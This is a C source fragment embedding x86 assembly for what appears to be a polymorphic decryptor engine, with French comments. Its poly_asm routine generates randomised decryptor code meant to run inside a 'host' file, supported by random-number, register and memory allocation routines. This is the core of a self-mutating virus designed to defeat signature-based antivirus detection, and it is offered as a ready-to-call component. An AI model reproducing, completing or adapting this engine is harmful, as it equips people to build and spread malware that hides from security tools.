char* poly_fonctions=
"\n"
";================================== VARIABLES ===================================\n"
"; (TRANSFORMATIONS UTILISATEURS PLUS BAS)\n"
"\n"
"  NB_PASSES EQU 10\n"
"  poly_taille_decrypteur dd 0\n"
"  poly_rand_seed dd 45980131\n"
"  poly_memoire dd 0\n"
"  poly_va_memoire dd 0\n"
"  poly_va_buffer dd 0\n"
"  poly_va_code dd 0\n"
"  poly_mem_init db 0\n"
"  poly_ebp dd poly_pile_labels\n"
"  poly_passe db 0\n"
"  regs_utilises db 8 dup (?)\n"
"\n"
";============================ FONCTION D'ASSEMBLAGE poly_asm ====================\n"
"; C'est la seule (et unique) fonction du moteur que vous aurez à appeler. Elle\n"
"; est chargée d'assembler de manière polymorphique un pseudo-opcode. Pour \n"
"; polymorphiser votre decrypteur, il vous faut l'apppeler avec les\n"
"; parametres suivant:\n"
";   IN : edx = Taille maximum du code généré PAR OPCODE\n"
";        esi --> pseudo-opcodes à polymorphiser, terminés par l'opcode FIN_DECRYPTEUR\n"
";        edi --> endroit où stocker le code généré\n"
";        ecx : Adresse où sera situé le code généré *au moment de son execution*, dans l'hote donc. \n"
";        eax --> buffer de taille NB_CASES_MEMOIRE*4 avec droit en ecriture *qui doit etre ecrit dans l'hote   \n"
";        ebx = adresse (VA pas RVA) de ce buffer *dans l'hote*, vous devez la calculer a l'avance donc\n"
";        la constante NB_CASES_MEMOIRE doit etre definie\n"
";        NB: si vous n'utilisez pas l'instruction RNDMEM, eax et ebx peuvent etre nuls\n"
";  OUT : eax = taille du code généré\n"
";        edi --> juste après le code généré\n"
";=================================================================================\n"
"poly_asm :\n"
"  mov [ebp+poly_memoire],eax\n"
"  mov [ebp+poly_va_memoire],ebx\n"
"  mov [ebp+poly_va_buffer],edi\n"
"  mov [ebp+poly_va_code],ecx\n"
"  mov [ebp+poly_passe], byte 0\n"
"poly_asm_init_mem:\n"
"  test eax,eax\n"
"  jz poly_asm_pas_de_mem\n"
"  cmp [ebp+poly_mem_init],byte 0\n"
"  jnz poly_asm_pas_de_mem  ; deja initialise, poly_asm appelé plusieurs fois\n"
"  inc byte [ebp+poly_mem_init]\n"
"  call init_memoire\n"
"poly_asm_pas_de_mem:\n"
"  mov ecx,NB_PASSES\n"
"poly_asm_repasse:\n"
"  pusha\n"
"  push dword [ebp+poly_rand_seed]\n"
"  call poly_asm_once  ; premiere passe pour calculer la taille du decrypteur\n"
"  pop dword  [ebp+poly_rand_seed]\n"
"  popa\n"
"  loop poly_asm_repasse\n"
"  call poly_asm_once\n"
"  ret\n"
"\n"
";======================= FONCTION d'EQUILIBRAGE =====================\n"
"; in:  eax=nb transfos restantes, edx=espace disponible en octets\n"
"; out: edx= nouvel espace disponible, eax=espace oté à edx et réservé \n"
";      pour les transfos suivantes\n"
";\n"
"; Par defaut, cette regle aloue 1/nb_transfos_restantes à la transfo en cours.\n"
"; C'est a dire, elle effectue :\n"
";        edx=(edx*nb_transfos_restantes)/(nb_transfos_restantes+1)\n"
"; Ceci permet de répartir équitablement dans une règle l'espace disponible.\n"
";\n"
"; Cependant, cette strategie n'est pas toujours la bonne, notamment pour les\n"
"; règles fortement récursives. Dans ces cas là, une stratégie \"je ne répartis rien\"\n"
"; peut être préférable (au risque de voir une instruction de la regle consommer\n"
"; tout l'espace disponible au détriment des instructions suivantes) :\n"
";\n"
";optimise_taille_code_genere :\n"
";    xor eax,eax\n"
";    ret\n"
"\n"
"optimise_taille_code_genere :\t\t\n"
"   push edx\n"
"   mov ebx,eax\n"
"   inc ebx\n"
"   imul eax,edx\n"
"   xor edx,edx\n"
"   div ebx\n"
"   pop edx\n"
"   sub edx,eax\n"
"   ret\n"
"\n"
"\n"
"poly_asm_once :\n"
"  xor eax,eax\n"
"  pusha\n"
";====== initialisations\n"
"  lea ecx,[ebp+poly_pile_labels]\n"
"  mov [ebp+poly_ebp],ecx\n"
"  lea edi,[ebp+utilisation_registres]\n"
"  mov ecx,8*2\n"
"  rep stosb\n"
"  mov [ebp+utilisation_registres+4],byte 1\n"
"  popa\n"
"  cmp [ebp+poly_memoire],eax\n"
"  jz poly_asm_loop\n"
"  call raz_modifs_memoire\n"
"\n"
";===== lecture du pseudo-code\n"
"poly_asm_loop:\n"
"  and [ebp+poly_taille_decrypteur],dword  0\n"
"  xor eax,eax\n"
"  push edi\n"
"  lea edi,[ebp+regs_utilises]\n"
"  stosd\n"
"  stosd\n"
"  pop edi\n"
"  lodsb\n"
"  test al,al\n"
"  jz poly_asm_fin\n"
"  movzx ecx,byte [esi]\n"
"  inc esi\n"
"  mov ebx,dword [ebp+jmp_table_opcodes+eax*4]\n"
"  push edx\n"
"  jecxz poly_asm_no_arg\n"
"poly_asm_arg_loop:\n"
"  xor eax,eax\n"
"  lodsb\n"
"  cmp al,TYPE_REGISTRE\n"
"  jnz poly_asm_pas_reg\n"
"  lodsd\n"
"  and eax,0111b\n"
"  inc byte [ebp+regs_utilises+eax]\n"
"  call reserve_registre\n"
"  jmp poly_asm_fin_loop\n"
"poly_asm_pas_reg:\n"
"  lodsd\n"
"poly_asm_fin_loop:\n"
"  push eax\n"
"  loop poly_asm_arg_loop\n"
"poly_asm_no_arg:\n"
"  call ebx\n"
"  mov eax,[esp] ;taille max par opcode\n"
"  sub eax,edx ;taille du code genere\n"
"  add [ebp+poly_taille_decrypteur],eax\n"
"  pop edx\n"
"  push esi\n"
"  lea esi,[ebp+regs_utilises]\n"
"  mov ecx,8\n"
"  xor eax,eax\n"
"  xor ebx,ebx\n"
"regs_reset:\n"
"  lodsb\n"
"  test al,al\n"
"  jz pas_mis\n"
"  mov eax,ebx\n"
"  call libere_registre\n"
"pas_mis:\n"
"  inc ebx\n"
"  loop regs_reset\n"
"  pop esi\n"
"  jmp poly_asm_loop\n"
"poly_asm_fin:\n"
"  mov eax,[ebp+poly_taille_decrypteur]\n"
"  inc byte [ebp+poly_passe]\n"
"  ret\n"
"\n"
"\n"
"\n"
";==================== RANDOM ======================\n"
"\n"
"poly_rand_int :    ;in: eax=val max   out: eax=rand()\n"
"    push edx\n"
"    push ebx\n"
"    push eax\n"
"    mov eax,[ebp + poly_rand_seed]   ;on initialise eax avec la \"graine\"\n"
"    mov ebx,eax         ;on copie eax dans ebx c-a-d RAND_SEED\n"
"    shl eax,13          ;eax = (n << D2) = res1\n"
"    xor eax,ebx         ;eax = (res1 ^ n) = res2\n"
"    shr eax,19          ;eax = (res2 >> D3) = res3\n"
"    and ebx,4294967294  ;ebx = (n & E) = res4\n"
"    shl ebx,12          ;ebx = (res4 << D1) = res5\n"
"    xor eax,ebx         ;eax = (res5 ^ res3) = resultat final\n"
"    mov dword [ebp + poly_rand_seed],eax  ;on sauvegarde le resultat final\n"
"    xor edx,edx\n"
"    pop ebx\n"
"    div ebx\n"
"    mov eax,edx\n"
"    pop ebx\n"
"    pop edx\n"
"    or eax,eax\n"
"    ret             ;fini, vous trouvez le npa dans RANDOM_SEED\n"
"\n"
"\n"
";===================== Gestion de la memoire =====================\n"
"\n"
"utilisation_memoire db NB_CASES_MEMOIRE  dup (?);  utilisation de la mem\n"
"valeur_memoire dd NB_CASES_MEMOIRE dup (?);  valeur courante de la mem\n"
"\n"
"\n"
"\n"
"init_memoire :\n"
"    pusha\n"
"    mov ecx,NB_CASES_MEMOIRE\n"
"    xor edx,edx\n"
"im_1:\n"
"    mov [ebp+utilisation_memoire+edx],byte 0\n"
"    dec eax\n"
"    call poly_rand_int\n"
"    mov ebx,eax\n"
"    lea eax,[edx*4]\n"
"    add eax,[ebp+poly_va_memoire]\n"
"    call set_memoire\n"
"    inc edx\n"
"    loop im_1\n"
"init_mem_fin:\n"
"    popa\n"
"    ret\n"
"\n"
"\n"
"choix_memoire :     ;out: eax=VA de la mémoire\n"
"    push edi\n"
"    push esi\n"
"    lea edi,[ebp+valeur_memoire]\n"
"    lea esi,[ebp+utilisation_memoire]\n"
"cm_1:\n"
"    mov eax,NB_CASES_MEMOIRE\n"
"    call poly_rand_int\n"
"    cmp [esi+eax],byte 0\n"
"    jnz cm_1\n"
"    shl eax,2\n"
"    add eax,[ebp+poly_va_memoire]\n"
"    call reserve_memoire\n"
"    pop esi\n"
"    pop edi\n"
"    ret\n"
"\n"
"raz_modifs_memoire:\n"
"    pusha\n"
"    mov ecx,NB_CASES_MEMOIRE\n"
"    mov esi,[ebp+poly_va_memoire]\n"
"    lea edi,[ebp+valeur_memoire]\n"
"    rep movsd\n"
"    popa\n"
"    ret\n"
"\n"
"contenu_memoire :\t       ; in:   ebx=VA de la mémoire\n"
"    sub ebx,[ebp+poly_va_memoire]      ; out:  ebx=valeur de la case mémoire\n"
"    mov ebx,[ebp+valeur_memoire+ebx]\n"
"    ret\n"
"\n"
"\n"
"nb_memoire_libre :    \t; out :  eax = nb cases de libre\n"
"    push esi\n"
"    push ecx\n"
"    push edx\n"
"    mov ecx,NB_CASES_MEMOIRE\n"
"    xor edx,edx\n"
"    xor eax,eax\n"
"    lea esi,[ebp+utilisation_memoire]\n"
"nml:\n"
"    lodsb\n"
"    xor al,1\n"
"    add edx,eax\n"
"    loop nml\n"
"    mov eax,edx\n"
"    pop edx\n"
"    pop ecx\n"
"    pop esi\n"
"    ret\n"
"\n"
"\n"
"lock_memoire:\t\t\n"
"reserve_memoire :       ; in: eax=VA\n"
"    pusha\n"
"    lea esi,[ebp+utilisation_memoire]\n"
"    sub eax,[ebp+poly_va_memoire]\n"
"    shr eax,2\n"
"    mov [esi+eax],byte 1\n"
"    popa\n"
"    ret\n"
"\n"
"\n"
"set_memoire :\t\t; in:\teax=VA de la case mémoire ebx=valeur\n"
"    push eax\n"
"    sub eax,[ebp+poly_va_memoire]\n"
"    add eax,[ebp+poly_memoire]\n"
"    mov [eax],dword ebx\n"
"    call change_memoire\n"
"    pop eax\n"
"    ret\n"
"\n"
"\t\n"
"change_memoire :\t\t; in:\teax=VA de la case mémoire ebx=valeur\n"
"    push eax\n"
"    sub eax,[ebp+poly_va_memoire]\n"
"    mov [ebp+valeur_memoire+eax],ebx\n"
"    pop eax\n"
"    ret\t\n"
"\n"
"\n"
"free_memoire:\t\t\t\n"
"libere_memoire :\t; in:\t eax=VA de la case memoire a liberer\n"
"    push eax\n"
"    sub eax,[ebp+poly_va_memoire]\n"
"    shr eax,2\n"
"    mov [ebp+utilisation_memoire+eax],byte 0\n"
"    pop eax\n"
"    ret\n"
"\n"
"\n"
"\t\n"
";===================== Gestion des registres =====================\n"
"\n"
"\t\n"
"utilisation_registres   db  0,0,0,0,0,0,0,0\n"
"utilisation_uregistres  db  0,0,0,0,0,0,0,0\n"
"choix_uregistres db 0,0,0,0,0,0,0,0\n"
"\n"
"raz_choix_uregistres :\n"
"\tpusha\n"
"\tlea edi,[ebp+choix_uregistres]\n"
"\txor eax,eax\n"
"\tstosd\n"
"\tstosd\n"
"\tmov [ebp+choix_uregistres+4],byte 2\n"
"\tpopa\n"
"\tret\n"
"\n"
"\n"
"\n"
"est_registre_libre : \t; in : eax=registre out: carry=0 si registre libre\n"
"\tand eax,0111b\n"
"\tclc\n"
"\tcmp word [ebp+utilisation_registres+eax],0\n"
"\tjle erl_libre\n"
"\tstc\n"
"erl_libre:\t\n"
"\tret\n"
"\n"
"\n"
"\n"
"lock_uregistre:\t\n"
"lock_registre:\t\n"
"reserve_registre :      ; in:\t eax=registre\n"
"\tand eax,0111b\n"
"\tinc byte [ebp+utilisation_registres+eax]\n"
"\tinc byte [ebp+choix_uregistres+eax]\n"
"\tret\n"
"\n"
"\n"
"choix_uregistre :   \t; out: eax = registre\n"
"\tpush ecx\n"
"\txor eax,eax\n"
"cu_1:\tmov eax,8\n"
"\tcall poly_rand_int\n"
"\tcmp byte [ebp+choix_uregistres+eax],0\n"
"\tjz cu_fin\n"
"\tjmp cu_1\n"
"cu_fin: \n"
"        call reserve_uregistre\n"
"\tpop ecx\n"
"\tret\n"
"\n"
"\n"
"reserve_uregistre :   ;in: eax=registre\n"
"\tand eax,0111b\n"
"\tcmp [ebp+utilisation_uregistres+eax],byte 0\n"
"\tjnz rur_1\n"
"\tcmp [ebp+utilisation_registres+eax],byte 0\n"
"\tjnz rur_fin\n"
"\tcall reserve_registre\n"
"rur_1:\n"
"\tinc byte [ebp+utilisation_uregistres+eax]\n"
"rur_fin:\n"
"\tinc byte [ebp+choix_uregistres+eax]\n"
"\tret\n"
"\n"
"\n"
"libere_uregistre :    ;in: eax=registre\n"
"\tand eax,0111b\n"
"\tcmp [ebp+utilisation_uregistres+eax],byte 0\n"
"\tjz lur_fin\n"
"\tcmp [ebp+utilisation_uregistres+eax],byte 1\n"
"\tjnz lur_1\n"
"\tcall libere_registre\n"
"lur_1:\n"
"\tdec byte [ebp+utilisation_uregistres+eax]\n"
"lur_fin:\n"
"\tret \n"
"\n"
"\n"
"free_registre:\n"
"free_uregistre:\t\n"
"libere_registre :           ;in: eax=registre\n"
"    and eax,0111b\n"
"    dec byte [ebp+utilisation_registres+eax]\n"
"    ret\n"
"\n"
"\n"
"\t\n"
"choix_registre :        ;out eax=registre libre ou indeterminé (il faut appeler nb_reg_libres avant)\n"
"cr_l:\n"
"    mov eax,8\n"
"    call poly_rand_int\n"
"    cmp byte [ebp+utilisation_registres+eax],0\n"
"    jg cr_l\n"
"    call reserve_registre\n"
"cr_fin:\n"
"    ret\n"
"\n"
"\n"
"nb_registres_libres :\n"
"\tpush ecx\n"
"\txor ecx,ecx\n"
"\txor eax,eax\n"
"nb_reg_loop:\n"
"\tcall est_registre_libre\n"
"\tjc reg_pris\n"
"\tinc ecx\n"
"reg_pris:\n"
"\tinc eax\n"
"\tcmp al,8\n"
"\tjnz nb_reg_loop\n"
"\tmov eax,ecx\n"
"\tpop ecx\n"
"\tret\n"
"\n"
"\n"
"\n"
"\t \n"
"\n"
"\t\n"
" dd 20000 dup (?)\n"
" poly_pile_labels:\n"
;
